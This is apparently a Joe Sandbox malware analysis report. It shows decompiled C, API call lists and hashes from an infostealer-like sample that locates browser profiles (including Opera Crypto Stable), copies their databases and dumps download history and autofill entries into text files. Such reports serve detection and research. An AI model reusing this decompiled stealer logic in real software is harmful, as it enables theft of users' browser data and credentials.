							L00429B30( &_v3092, 0, 0x3c);
							_t142 = _t144 + 0x1c;
						} else {
							E00413DF0( &_v3024);
						}
						L00429B30( &_v2024, 0, 0x3e8);
						L00429B30( &_v1024, 0, 0x3e8);
						L00429B30( &_v3024, 0, 0x3e8);
						_t119 =  &_v3028;
						_t66 = E0042C1AC(_t101,  &_v3028, _t130, 0,  &_v3028,  &_v3032);
						_t139 = _t142 + 0x30;
						_t130 = _t66;
					}
				}
				 *0x4536b4 = 1;
				if(_a24 >= 0x10) {
					_push(_a4);
					_t66 = E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t131);
				_pop(_t133);
				_pop(_t100);
				return E00429B16(_t66, _t100, _v24 ^ _t135, _t119, _t131, _t133);
			}

0x0040a4c3
0x0040a4c5
0x0040a4d0
0x0040a4d7
0x0040a4dc
0x0040a4de
0x0040a4e1
0x0040a4e2
0x0040a4e3
0x0040a4e4
0x0040a4e8
0x0040a4fb
0x0040a503
0x0040a50d
0x0040a512
0x0040a515
0x0040a521
0x0040a528
0x0040a52a
0x0040a52a
0x0040a52d
0x0040a541
0x0040a543
0x0040a548
0x0040a55a
0x0040a56e
0x0040a584
0x0040a589
0x0040a595
0x0040a5a3
0x0040a5ad
0x0040a5b6
0x0040a5c0
0x0040a5ca
0x0040a5d0
0x0040a597
0x0040a597
0x0040a597
0x0040a5d7
0x0040a5e2
0x0040a5e8
0x0040a5f3
0x0040a5fc
0x0040a60e
0x0040a61b
0x0040a628
0x0040a62d
0x0040a637
0x0040a63c
0x0040a63f
0x0040a644
0x0040a644
0x0040a649
0x0040a651
0x0040a652
0x0040a659
0x0040a65f
0x0040a662
0x0040a662
0x0040a662
0x0040a66d
0x0040a670
0x0040a676
0x0040a683
0x0040a692
0x0040a69c
0x0040a6a6
0x0040a6bb
0x0040a6c5
0x0040a6cb
0x0040a6d1
0x0040a6db
0x0040a6e1
0x0040a6eb
0x0040a6f1
0x0040a6fb
0x0040a701
0x0040a711
0x0040a716
0x0040a5fe
0x0040a604
0x0040a604
0x0040a727
0x0040a73d
0x0040a753
0x0040a762
0x0040a76b
0x0040a770
0x0040a773
0x0040a773
0x0040a775
0x0040a781
0x0040a78b
0x0040a790
0x0040a791
0x0040a796
0x0040a79c
0x0040a7a4
0x0040a7a5
0x0040a7a6
0x0040a7b4

APIs

_memset.LIBCMT ref: 0040A50D
lstrlenA.KERNEL32(00000000,?,?,?,00000000,?,0000000F), ref: 0040A551
_memset.LIBCMT ref: 0040A56E
_memset.LIBCMT ref: 0040A584
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,?,0000000F), ref: 0040A58D
lstrcpy.KERNEL32(?,00000005), ref: 0040A5E2
StrCmpCA.SHLWAPI(?,open_,?,?,?,?,?,?,?,?,?,00000000,?,0000000F), ref: 0040A5F4
lstrcatA.KERNEL32(?,050987D8,?,?,?,?,?,?,?,?,?,00000000,?,0000000F), ref: 0040A61B
_malloc.LIBCMT ref: 0040A623

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 0040A630

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 0040A644

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 0040A659
lstrcatA.KERNEL32(?,00000000), ref: 0040A670
lstrcatA.KERNEL32(?,05098450), ref: 0040A683
_memset.LIBCMT ref: 0040A6A6
ShellExecuteEx.SHELL32(?), ref: 0040A701
_memset.LIBCMT ref: 0040A711
_memset.LIBCMT ref: 0040A727
_memset.LIBCMT ref: 0040A73D
_memset.LIBCMT ref: 0040A753

Strings

open_, xrefs: 0040A5E8
<, xrefs: 0040A6BB
%s%d, xrefs: 0040A653

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat$__getptdlstrlen$AllocateCountExecuteHeapShellTick_malloc_randlstrcpywsprintf
String ID: %s%d$<$open_
API String ID: 2130264984-2220220772
Opcode ID: d19b4adf368c4e1612ce92a59b160daed377128511a5f2abaeabacde81637d40
Instruction ID: a9f1aeeb44a672e1bd0b0df92f7aea5ceacc662619bce8bcb302ceffb8fcf638
Opcode Fuzzy Hash: d19b4adf368c4e1612ce92a59b160daed377128511a5f2abaeabacde81637d40
Instruction Fuzzy Hash: C471E7B1D00369ABDB21DF50EC41FEEBB78EB44705F0045AAE50967281EB78AB44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041B140 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 260
stringCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0041B140(CHAR* __ecx, CHAR* __edx, intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v288;
				char _v552;
				char _v816;
				void* _v1816;
				intOrPtr _v1824;
				char _v1828;
				char _v1844;
				intOrPtr _v1852;
				char _v1856;
				short _v1872;
				char _v1876;
				char _v1880;
				short _v1884;
				CHAR* _v1888;
				intOrPtr _v1892;
				CHAR* _v1896;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t86;
				signed int _t87;
				intOrPtr _t102;
				CHAR* _t118;
				void* _t120;
				WCHAR* _t124;
				signed char _t125;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t136;
				intOrPtr _t137;
				void* _t143;
				char _t144;
				void* _t145;
				intOrPtr _t152;
				void* _t182;
				CHAR* _t183;
				intOrPtr _t185;
				intOrPtr _t186;
				void* _t187;
				void* _t188;
				CHAR* _t189;
				void* _t192;
				signed int _t193;
				void* _t194;
				void* _t198;
				void* _t201;

				_t86 =  *0x450664; // 0x30e242aa
				_t87 = _t86 ^ _t193;
				_v24 = _t87;
				 *[fs:0x0] =  &_v16;
				_t189 = _a8;
				_t183 =  *0x453028; // 0x509b0d8
				_t144 = 0;
				_v1892 = _a4;
				_v1888 = __ecx;
				_v1896 = __edx;
				_v1876 = 0;
				_v1880 = 0;
				L00429B30( &_v552, 0, 0x104);
				L00429B30( &_v816, 0, 0x104);
				L00429B30( &_v1816, 0, 0x3e8);
				_t198 = _t194 - 0x758 + 0x24;
				_t17 = (0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v1816, _t87, _t182, _t188, _t143,  *[fs:0x0], E0043F0BB, 0xffffffff) < 0x00000000) - 1; // -1
				lstrcatA( &_v552, _t17 &  &_v1816);
				lstrcatA( &_v552, _t183);
				lstrcatA( &_v552, _t189);
				_t102 =  *0x453060; // 0x509cba8
				_push(_t102);
				_push(_t189);
				_v1884 = 0;
				if( *0x453510() == 0) {
					_v1884 = 1;
				}
				_t152 =  *0x452ac0; // 0x509b378
				_push(_t152);
				_push(_t189);
				if( *0x453510() == 0) {
					_v1884 = 2;
				}
				_push("Opera Crypto Stable");
				_push(_t189);
				if( *0x453510() == 0) {
					_v1884 = 3;
				}
				L00429B30( &_v1816, _t144, 0x3e8);
				_t30 = (0 |  *0x4534c0(_t144, 0x1a, _t144, _t144,  &_v1816) < 0x00000000) - 1; // -1
				lstrcatA( &_v816, _t30 &  &_v1816);
				lstrcatA( &_v816, _t183);
				L00429B30( &_v288, _t144, 0x104);
				lstrcatA( &_v288,  &_v552);
				lstrcatA( &_v288, "\\");
				_t118 =  *0x452d14; // 0x509af68
				lstrcatA( &_v288, _t118);
				_v1824 = 0xf;
				_v1828 = _t144;
				_v1844 = _t144;
				_t120 = L00429C90( &_v288);
				_t201 = _t198 + 0x1c;
				E004050C0( &_v1844,  &_v288, _t120);
				_v8 = _t144;
				_t124 = L004205E0( &_v1844,  &_v1872);
				if(_t124[0xa] >= 8) {
					_t124 =  *_t124;
				}
				_t125 = GetFileAttributesW(_t124); // executed
				if(_t125 == 0xffffffff || (_t125 & 0x00000010) != 0) {
					_t185 = 0;
				} else {
					_t185 = 1;
				}
				if(_v1852 >= 8) {
					_push(_v1872);
					E00429B0B();
					_t201 = _t201 + 4;
				}
				_v8 = 0xffffffff;
				_v1852 = 7;
				_v1856 = _t144;
				_v1872 = 0;
				if(_v1824 >= 0x10) {
					_push(_v1844);
					E00429B0B();
					_t201 = _t201 + 4;
				}
				_v1824 = 0xf;
				_v1828 = _t144;
				_v1844 = _t144;
				if(_t185 != _t144 && E00414A80( &_v1876,  &_v1880,  &_v288) == 0) {
					_t136 = _v1876;
					if(_t136 != _t144) {
						 *0x453424(_t136, _t144);
						_v1876 = _t144;
					}
					_t137 = _v1880;
					if(_t137 != _t144) {
						 *0x4534d8(_t137);
					}
					_v1876 = _t144;
					_v1880 = _t144;
				}
				_t186 = _v1892;
				_t72 = _t186 + 0x20; // 0x6f72505c
				_t191 = _v1888;
				_t180 = _v1880;
				E00416F40(_t186, 0x4485e7,  &_v552, _v1888, _v1876, _v1880,  *_t72, _v1896, _a12); // executed
				if( *((intOrPtr*)(_t186 + 6)) != _t144) {
					_t180 = _v1884;
					E0041A540( &_v816, _t191, _t186, _v1884); // executed
					_t144 = 0;
				}
				_t129 = _v1876;
				if(_t129 != _t144) {
					 *0x453424(_t129, _t144);
					_v1876 = _t144;
				}
				_t130 = _v1880;
				if(_t130 != _t144) {
					_t130 =  *0x4534d8(_t130);
				}
				 *[fs:0x0] = _v16;
				_pop(_t187);
				_pop(_t192);
				_pop(_t145);
				return E00429B16(_t130, _t145, _v24 ^ _t193, _t180, _t187, _t192);
			}

0x0041b157
0x0041b15c
0x0041b15e
0x0041b168
0x0041b171
0x0041b174
0x0041b17a
0x0041b181
0x0041b18f
0x0041b195
0x0041b19b
0x0041b1a1
0x0041b1a7
0x0041b1bc
0x0041b1d1
0x0041b1d6
0x0041b1f8
0x0041b205
0x0041b213
0x0041b221
0x0041b227
0x0041b22c
0x0041b22d
0x0041b22e
0x0041b23c
0x0041b23e
0x0041b23e
0x0041b248
0x0041b24e
0x0041b24f
0x0041b258
0x0041b25a
0x0041b25a
0x0041b264
0x0041b269
0x0041b272
0x0041b274
0x0041b274
0x0041b28b
0x0041b2b2
0x0041b2bf
0x0041b2cd
0x0041b2e0
0x0041b2f6
0x0041b308
0x0041b30e
0x0041b31b
0x0041b328
0x0041b332
0x0041b338
0x0041b33e
0x0041b343
0x0041b354
0x0041b365
0x0041b368
0x0041b375
0x0041b377
0x0041b377
0x0041b37a
0x0041b383
0x0041b390
0x0041b389
0x0041b389
0x0041b389
0x0041b398
0x0041b3a0
0x0041b3a1
0x0041b3a6
0x0041b3a6
0x0041b3ab
0x0041b3b9
0x0041b3c3
0x0041b3c9
0x0041b3d0
0x0041b3d8
0x0041b3d9
0x0041b3de
0x0041b3de
0x0041b3e1
0x0041b3eb
0x0041b3f1
0x0041b3f9
0x0041b41a
0x0041b422
0x0041b426
0x0041b42c
0x0041b42c
0x0041b432
0x0041b43a
0x0041b43d
0x0041b43d
0x0041b443
0x0041b449
0x0041b449
0x0041b458
0x0041b45e
0x0041b461
0x0041b468
0x0041b487
0x0041b48f
0x0041b491
0x0041b4a1
0x0041b4a6
0x0041b4a6
0x0041b4a8
0x0041b4b0
0x0041b4b4
0x0041b4ba
0x0041b4ba
0x0041b4c0
0x0041b4c8
0x0041b4cb
0x0041b4cb
0x0041b4d4
0x0041b4dc
0x0041b4dd
0x0041b4de
0x0041b4ec

APIs

_memset.LIBCMT ref: 0041B1A7
_memset.LIBCMT ref: 0041B1BC
_memset.LIBCMT ref: 0041B1D1
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B1E5
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B205
lstrcatA.KERNEL32(?,0509B0D8,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B213
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B221
StrCmpCA.SHLWAPI(00000000,0509CBA8,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B234
StrCmpCA.SHLWAPI(00000000,0509B378,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B250
StrCmpCA.SHLWAPI(00000000,Opera Crypto Stable,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B26A
_memset.LIBCMT ref: 0041B28B
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B29F
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B2BF
lstrcatA.KERNEL32(?,0509B0D8,?,?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B2CD
_memset.LIBCMT ref: 0041B2E0
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B2F6
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B308
lstrcatA.KERNEL32(?,0509AF68,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B31B
_strlen.LIBCMT ref: 0041B33E
GetFileAttributesW.KERNEL32(00000000,?,00000000), ref: 0041B37A

Strings

Opera Crypto Stable, xrefs: 0041B264

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$FolderPath$AttributesFile_strlen
String ID: Opera Crypto Stable
API String ID: 1164341275-2665741402
Opcode ID: 0671dce2ac02bfcd78cb75164f874323e0bb3f12d286e74b33a69cefb89aa01d
Instruction ID: 1d7264e86c077bf6a7f9feb661c586fa1342ea633bf5e6b4a33b7592fd224954
Opcode Fuzzy Hash: 0671dce2ac02bfcd78cb75164f874323e0bb3f12d286e74b33a69cefb89aa01d
Instruction Fuzzy Hash: 27A150B1D04218ABDB20DF65DC85AEEB7B8FB49345F0041AAE50DA3241D778AF84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004160C0 Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 179
stringmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E004160C0(CHAR* __ebx, intOrPtr __ecx, intOrPtr* __edx, CHAR* _a4) {
				signed int _v8;
				char _v276;
				char _v540;
				CHAR* _v544;
				char _v548;
				char _v552;
				intOrPtr _v556;
				intOrPtr* _v560;
				void* __edi;
				void* __esi;
				signed int _t42;
				signed int _t43;
				signed int _t51;
				void* _t61;
				int _t62;
				long _t64;
				void* _t69;
				void* _t71;
				int _t72;
				CHAR* _t76;
				CHAR* _t77;
				void* _t84;
				CHAR* _t87;
				intOrPtr* _t95;
				void* _t112;
				void* _t114;
				CHAR* _t115;
				signed int _t117;
				void* _t118;
				void* _t121;
				void* _t123;
				void* _t124;
				void* _t127;
				signed int _t129;

				_t85 = __ebx;
				_t42 =  *0x450664; // 0x30e242aa
				_t43 = _t42 ^ _t117;
				_t129 = _t43;
				_v8 = _t43;
				_v544 = _a4;
				_v556 = __ecx;
				_v560 = __edx;
				L00429B30( &_v276, 0, 0x104);
				_t87 =  *0x453058; // 0x50987d8
				lstrcatA( &_v276, _t87);
				_t115 = E0042A0BB( &_v276, _t112, _t114, 0x1a);
				 *_t115 = 0;
				L0042D41F(GetTickCount());
				_t121 = _t118 + 0x14;
				_t113 = 0x1a;
				do {
					_t51 = L0042D431(_t129);
					asm("cdq");
					_push(_t51 % 0xa);
					_push(_t115);
					wsprintfA(_t115, "%s%d");
					_t121 = _t121 + 0x10;
					_t113 = _t113 - 1;
				} while (_t113 != 0);
				_t115[0x1a] = 0;
				lstrcatA( &_v276, _t115);
				CopyFileA(__ebx,  &_v276, 1); // executed
				L00429B30( &_v540, _t113, 0x104);
				wsprintfA( &_v540, "\\Downloads\\%s_%s.txt", _v556, _v544);
				_t116 =  *0x453240; // 0x509ab38
				_t106 =  &_v552;
				_t61 =  *0x453304( &_v276,  &_v552); // executed
				_t123 = _t121 + 0x24;
				if(_t61 != 0) {
					L13:
					_t62 = DeleteFileA( &_v276); // executed
					return E00429B16(_t62, _t85, _v8 ^ _t117, _t106, _t113, _t116);
				}
				_t64 =  *0x4532b8(_v552, _t116, 0xffffffff,  &_v548, _t61); // executed
				_t124 = _t123 + 0x14;
				if(_t64 != 0) {
					L12:
					_t106 = _v548;
					 *0x4532d8(_v548);
					 *0x453308(_v552);
					goto L13;
				}
				_t69 = RtlAllocateHeap(GetProcessHeap(), _t64, 0xf423f); // executed
				_v544 = _t69;
				_t71 =  *0x4532d4(_v548);
				_t127 = _t124 + 4;
				if(_t71 != 0x64) {
					L6:
					_t72 = lstrlenA(_v544);
					_t95 = _v560;
					if(_t95 != 0) {
						__eflags =  *_t95 - 2;
						if( *_t95 == 2) {
							 *0x4537d4 = E00428410( *((intOrPtr*)(_t95 + 4)), _v544,  &_v540, _t72, 3);
						} else {
							 *0x4537d4 = 0x80000;
						}
					} else {
						 *0x4537d4 = 0x10000;
					}
					L00429B30( &_v544, 0, 4);
					_t124 = _t127 + 0xc;
					goto L12;
				} else {
					goto L5;
				}
				do {
					L5:
					_t76 =  *0x4532f4(_v548, 0);
					_t116 = _t76;
					_t77 =  *0x4532f4(_v548, 1);
					_t113 = _t77;
					lstrcatA(_v544, _t76);
					lstrcatA(_v544, "\n");
					lstrcatA(_v544, _t77);
					lstrcatA(_v544, "\n\n");
					_t84 =  *0x4532d4(_v548);
					_t127 = _t127 + 0x14;
				} while (_t84 == 0x64);
				goto L6;
			}

0x004160c0
0x004160c9
0x004160ce
0x004160ce
0x004160d0
0x004160dd
0x004160ec
0x004160f2
0x004160f8
0x004160fd
0x0041610e
0x0041611b
0x00416120
0x0041612a
0x0041612f
0x00416132
0x00416137
0x00416137
0x0041613c
0x00416144
0x00416145
0x0041614c
0x00416152
0x00416155
0x00416155
0x00416160
0x00416164
0x00416174
0x00416187
0x004161a9
0x004161af
0x004161b5
0x004161c3
0x004161c9
0x004161ce
0x00416323
0x0041632a
0x0041633f
0x0041633f
0x004161e6
0x004161ec
0x004161f1
0x00416303
0x00416303
0x0041630a
0x0041631a
0x00000000
0x00416320
0x00416204
0x0041620a
0x00416217
0x0041621d
0x00416223
0x0041629f
0x004162a6
0x004162ac
0x004162b4
0x004162c2
0x004162c5
0x004162eb
0x004162c7
0x004162c7
0x004162c7
0x004162b6
0x004162b6
0x004162b6
0x004162fb
0x00416300
0x00000000
0x00000000
0x00000000
0x00000000
0x00416225
0x00416225
0x0041622e
0x0041623d
0x0041623f
0x00416248
0x00416252
0x00416264
0x00416272
0x00416284
0x00416291
0x00416297
0x0041629a
0x00000000

APIs

_memset.LIBCMT ref: 004160F8
lstrcatA.KERNEL32(?,050987D8,?,?,?), ref: 0041610E
_malloc.LIBCMT ref: 00416116

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00416123

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00416137

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 0041614C
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00416164
CopyFileA.KERNEL32(?,?,00000001,?,?,?,?,?,?,?,?,?), ref: 00416174
_memset.LIBCMT ref: 00416187
wsprintfA.USER32 ref: 004161A9
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004161FD
RtlAllocateHeap.NTDLL(00000000), ref: 00416204
lstrcatA.KERNEL32(?,00000000), ref: 00416252
lstrcatA.KERNEL32(?,004485E8), ref: 00416264
lstrcatA.KERNEL32(?,00000000), ref: 00416272
lstrcatA.KERNEL32(?,0044A994), ref: 00416284
lstrlenA.KERNEL32(?), ref: 004162A6
_memset.LIBCMT ref: 004162FB
DeleteFileA.KERNEL32(?), ref: 0041632A

Strings

\Downloads\%s_%s.txt, xrefs: 004161A3
%s%d, xrefs: 00416146

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap_memset$AllocateFile__getptdwsprintf$CopyCountDeleteProcessTick_malloc_randlstrlen
String ID: %s%d$\Downloads\%s_%s.txt
API String ID: 460478976-2163029947
Opcode ID: 41338a06cb4013f9cde49ed2e7547f53e1de410d172efcb04edd4e489f0c2a7e
Instruction ID: 564da4b6e188d946544ede18eeb6c3d0ae2b7514e019a115510b65045d40c695
Opcode Fuzzy Hash: 41338a06cb4013f9cde49ed2e7547f53e1de410d172efcb04edd4e489f0c2a7e
Instruction Fuzzy Hash: F161C6B1A40318ABC720DFA4EC49FEA7778AB48346F1045E9F50597252DA34EB80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0 Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 178
stringmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00415BD0(CHAR* __ebx, intOrPtr __ecx, intOrPtr* __edx, CHAR* _a4) {
				signed int _v8;
				char _v276;
				char _v540;
				CHAR* _v544;
				char _v548;
				char _v552;
				intOrPtr _v556;
				intOrPtr* _v560;
				void* __edi;
				void* __esi;
				signed int _t42;
				signed int _t43;
				signed int _t51;
				void* _t61;
				int _t62;
				long _t64;
				void* _t69;
				void* _t71;
				int _t72;
				void* _t84;
				CHAR* _t87;
				intOrPtr* _t95;
				void* _t112;
				void* _t113;
				void* _t114;
				CHAR* _t115;
				intOrPtr _t116;
				signed int _t117;
				void* _t118;
				void* _t121;
				void* _t123;
				void* _t124;
				void* _t127;
				signed int _t130;

				_t85 = __ebx;
				_t42 =  *0x450664; // 0x30e242aa
				_t43 = _t42 ^ _t117;
				_t130 = _t43;
				_v8 = _t43;
				_v544 = _a4;
				_v556 = __ecx;
				_v560 = __edx;
				L00429B30( &_v276, 0, 0x104);
				_t87 =  *0x453058; // 0x50987d8
				lstrcatA( &_v276, _t87);
				_t115 = E0042A0BB( &_v276, _t112, _t114, 0x1a);
				 *_t115 = 0;
				L0042D41F(GetTickCount());
				_t121 = _t118 + 0x14;
				_t113 = 0x1a;
				do {
					_t51 = L0042D431(_t130);
					asm("cdq");
					_push(_t51 % 0xa);
					_push(_t115);
					wsprintfA(_t115, "%s%d");
					_t121 = _t121 + 0x10;
					_t113 = _t113 - 1;
				} while (_t113 != 0);
				_t115[0x1a] = 0;
				lstrcatA( &_v276, _t115);
				CopyFileA(__ebx,  &_v276, 1); // executed
				L00429B30( &_v540, _t113, 0x104);
				wsprintfA( &_v540, "\\Autofill\\%s_%s.txt", _v556, _v544);
				_t116 =  *0x453184; // 0x5099808
				_t106 =  &_v552;
				_t61 =  *0x453304( &_v276,  &_v552); // executed
				_t123 = _t121 + 0x24;
				if(_t61 != 0) {
					L13:
					_t62 = DeleteFileA( &_v276); // executed
					return E00429B16(_t62, _t85, _v8 ^ _t117, _t106, _t113, _t116);
				}
				_t64 =  *0x4532b8(_v552, _t116, 0xffffffff,  &_v548, _t61); // executed
				_t124 = _t123 + 0x14;
				if(_t64 != 0) {
					L12:
					_t106 = _v548;
					 *0x4532d8(_v548);
					 *0x453308(_v552);
					goto L13;
				}
				_t69 = RtlAllocateHeap(GetProcessHeap(), _t64, 0xf423f); // executed
				_v544 = _t69;
				_t71 =  *0x4532d4(_v548);
				_t127 = _t124 + 4;
				if(_t71 != 0x64) {
					L6:
					_t72 = lstrlenA(_v544);
					_t95 = _v560;
					if(_t95 != 0) {
						__eflags =  *_t95 - 2;
						if( *_t95 == 2) {
							 *0x4537d4 = E00428410( *((intOrPtr*)(_t95 + 4)), _v544,  &_v540, _t72, 3);
						} else {
							 *0x4537d4 = 0x80000;
						}
					} else {
						 *0x4537d4 = 0x10000;
					}
					L00429B30( &_v544, 0, 4);
					_t124 = _t127 + 0xc;
					goto L12;
				} else {
					goto L5;
				}
				do {
					L5:
					lstrcatA(_v544,  *0x4532f4(_v548, 0));
					lstrcatA(_v544, " ");
					lstrcatA(_v544,  *0x4532f4(_v548, 1));
					lstrcatA(_v544, "\n");
					_t84 =  *0x4532d4(_v548);
					_t127 = _t127 + 0x14;
				} while (_t84 == 0x64);
				goto L6;
			}

0x00415bd0
0x00415bd9
0x00415bde
0x00415bde
0x00415be0
0x00415bed
0x00415bfc
0x00415c02
0x00415c08
0x00415c0d
0x00415c1e
0x00415c2b
0x00415c30
0x00415c3a
0x00415c3f
0x00415c42
0x00415c47
0x00415c47
0x00415c4c
0x00415c54
0x00415c55
0x00415c5c
0x00415c62
0x00415c65
0x00415c65
0x00415c70
0x00415c74
0x00415c84
0x00415c97
0x00415cb9
0x00415cbf
0x00415cc5
0x00415cd3
0x00415cd9
0x00415cde
0x00415e32
0x00415e39
0x00415e4e
0x00415e4e
0x00415cf6
0x00415cfc
0x00415d01
0x00415e12
0x00415e12
0x00415e19
0x00415e29
0x00000000
0x00415e2f
0x00415d14
0x00415d1a
0x00415d27
0x00415d2d
0x00415d33
0x00415dae
0x00415db5
0x00415dbb
0x00415dc3
0x00415dd1
0x00415dd4
0x00415dfa
0x00415dd6
0x00415dd6
0x00415dd6
0x00415dc5
0x00415dc5
0x00415dc5
0x00415e0a
0x00415e0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00415d35
0x00415d35
0x00415d4f
0x00415d61
0x00415d81
0x00415d93
0x00415da0
0x00415da6
0x00415da9
0x00000000

APIs

_memset.LIBCMT ref: 00415C08
lstrcatA.KERNEL32(?,050987D8,?,?,?), ref: 00415C1E
_malloc.LIBCMT ref: 00415C26

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00415C33

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00415C47

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 00415C5C
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00415C74
CopyFileA.KERNEL32(?,?,00000001,?,?,?,?,?,?,?,?,?), ref: 00415C84
_memset.LIBCMT ref: 00415C97
wsprintfA.USER32 ref: 00415CB9
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00415D0D
RtlAllocateHeap.NTDLL(00000000), ref: 00415D14
lstrcatA.KERNEL32(?,00000000), ref: 00415D4F
lstrcatA.KERNEL32(?,0044ACCC), ref: 00415D61
lstrcatA.KERNEL32(?,00000000), ref: 00415D81
lstrcatA.KERNEL32(?,004485E8), ref: 00415D93
lstrlenA.KERNEL32(?), ref: 00415DB5
_memset.LIBCMT ref: 00415E0A
DeleteFileA.KERNEL32(?), ref: 00415E39

Strings

\Autofill\%s_%s.txt, xrefs: 00415CB3
%s%d, xrefs: 00415C56

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap_memset$AllocateFile__getptdwsprintf$CopyCountDeleteProcessTick_malloc_randlstrlen
String ID: %s%d$\Autofill\%s_%s.txt
